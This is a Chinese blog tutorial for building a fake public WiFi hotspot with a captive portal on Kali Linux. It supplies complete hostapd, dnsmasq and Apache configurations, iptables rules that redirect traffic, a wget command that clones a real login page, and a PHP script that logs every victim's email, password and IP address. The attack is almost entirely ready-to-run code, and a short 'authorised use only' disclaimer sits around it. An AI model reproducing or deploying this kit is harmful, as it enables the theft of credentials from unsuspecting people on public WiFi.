🧪 Kali Linux 搭建 WiFi 钓鱼热点 + 强制门户完整教程

⚠️ 本教程仅限网络安全教学与授权环境测试,请勿非法使用,否则后果自负。


🎯 目标

搭建一个虚假 WiFi 热点,实现以下效果:

  • 设备连接热点后所有 HTTP 流量被重定向至钓鱼页面
  • 捕获用户输入的 Email 和密码,并记录到本地

🛠️ 准备工作

1. 检查无线网卡支持 AP 模式

iw list | grep "AP"

说明:若无输出,表示网卡不支持 AP 模式,推荐使用 TP-Link TL-WN722N V1 等支持的设备。

2. 停止系统网络管理

sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager

3. 配置 WLAN 接口 IP

sudo ifconfig wlan0 down
sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 up

🌐 配置 DHCP 和 DNS 服务(dnsmasq)

1. 安装 dnsmasq

sudo apt update && sudo apt install dnsmasq -y

2. 编辑配置文件

sudo vim /etc/dnsmasq.conf

粘贴以下内容:

interface=wlan0
dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,24h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
no-hosts
log-queries
log-dhcp

保存并退出(按 ESC,输入 :wq

3. 启动并检查 dnsmasq

sudo systemctl restart dnsmasq
sudo systemctl enable dnsmasq
sudo systemctl status dnsmasq
journalctl -u dnsmasq -xe

📶 创建虚假热点(hostapd)

1. 安装 hostapd

sudo apt install hostapd -y

2. 创建配置文件(模板二选一粘贴一个进去)

sudo vim /etc/hostapd.conf

粘贴以下内容(需要输入密码的模板):

interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

或粘贴以下内容(不需要输入密码的模板):

interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
auth_algs=1
ignore_broadcast_ssid=0

保存退出


🛑 强制门户 + 钓鱼页面(Apache)

1. 创建 Apache 配置

sudo vim /etc/apache2/sites-available/captive.conf

粘贴内容:

<VirtualHost *:80>
    ServerName captive.portal
    DocumentRoot /var/www/html

    ServerAlias *
    RewriteEngine On
    # 排除以下文件/类型:
    RewriteCond %{REQUEST_URI} !^/(index\.html|capture\.php|test\.php|credentials\.txt)$
    RewriteCond %{REQUEST_URI} !\.(css|js|png|jpg|gif|php|ico|svg)$  
    # 其余请求重定向到钓鱼页面
    RewriteRule ^.*$ /index.html [L,R=302]
</VirtualHost>

2. 创建钓鱼页面或者克隆一个页面

1.创建钓鱼页面

sudo vim /var/www/html/index.html

粘贴内容:

<!DOCTYPE html>
<html>
<head>
    <title>WiFi Login Required</title>
    <style>body{font-family:Arial;text-align:center;margin-top:50px}form{display:inline-block;text-align:left}</style>
</head>
<body>
    <h1>Public WiFi Login</h1>
    <form action="/capture.php" method="POST">
        <input type="text" name="email" placeholder="Email" required><br><br>
        <input type="password" name="password" placeholder="Password" required><br><br>
        <button type="submit">Connect</button>
    </form>
</body>
</html>

2.或者克隆其它的页面作为你的钓鱼页面

注意:如果你使用克隆页面作为钓鱼页面,请务必做以下修改:

  • 修改 capture.php 中的接收字段(如 $_POST['email']$_POST['password'])为表单中实际使用的 name 属性值,确保数据能正确写入日志。
  • 将 HTML 中的 CSS、图片、JS 等资源路径统一修改为相对路径,确保页面在本地能正确加载样式与资源;
  • 将页面中的登录表单的 action 地址改为指向你的数据接收脚本 capture.php
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://example.com/login

参数说明:

  1. –mirror:递归下载整个页面
  2. –convert-links:转换链接为本地路径
  3. –adjust-extension:自动添加 .html 后缀
  4. –page-requisites:下载CSS/JS/图片等资源
  5. –no-parent:不下载上级目录

具体克隆可以参考文章: https://www.zhzxs.site/index.php/2025/05/10/1746885426/

3. 创建数据捕获脚本

sudo vim /var/www/html/capture.php

粘贴内容:

<?php
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

if (!empty($email) && !empty($password)) {
    file_put_contents('/var/www/html/credentials.txt', 
        "Time: $time | IP: $ip | Email: $email | Password: $password\n", 
        FILE_APPEND);
    header("Location: https://www.google.com");
    exit;
}
?>

4. 准备存储文件并赋权

sudo touch /var/www/html/credentials.txt
sudo chown www-data:www-data /var/www/html/credentials.txt
sudo chmod 644 /var/www/html/credentials.txt

5. 启用站点配置

sudo a2ensite captive.conf
sudo a2enmod rewrite
sudo systemctl restart apache2

🔁 流量重定向设置(iptables)

1. 清除旧规则

sudo iptables -F
sudo iptables -t nat -F

2. 设置网络转发和共享

sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT

3. 重定向 HTTP 和 DNS 流量

sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-port 53

4. 持久化规则

sudo apt install iptables-persistent -y
sudo netfilter-persistent save
sudo netfilter-persistent reload

5. 启动热点服务

sudo hostapd /etc/hostapd.conf

📱 使用说明

  1. 打开终端,依次启动: dnsmasqapache2 → hostapd
  2. 手机连接名为 Free_WiFi 的无线(密码:12345678
  3. 打开任意网页,会跳转至钓鱼页面
  4. 实时查看凭证日志:
sudo tail -f /var/www/html/credentials.txt

⚖️ 法律声明

本项目仅限用于网络安全研究、渗透测试培训、实验教学等授权环境下使用。
严禁用于任何非法行为,否则由使用者承担全部法律责任!


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇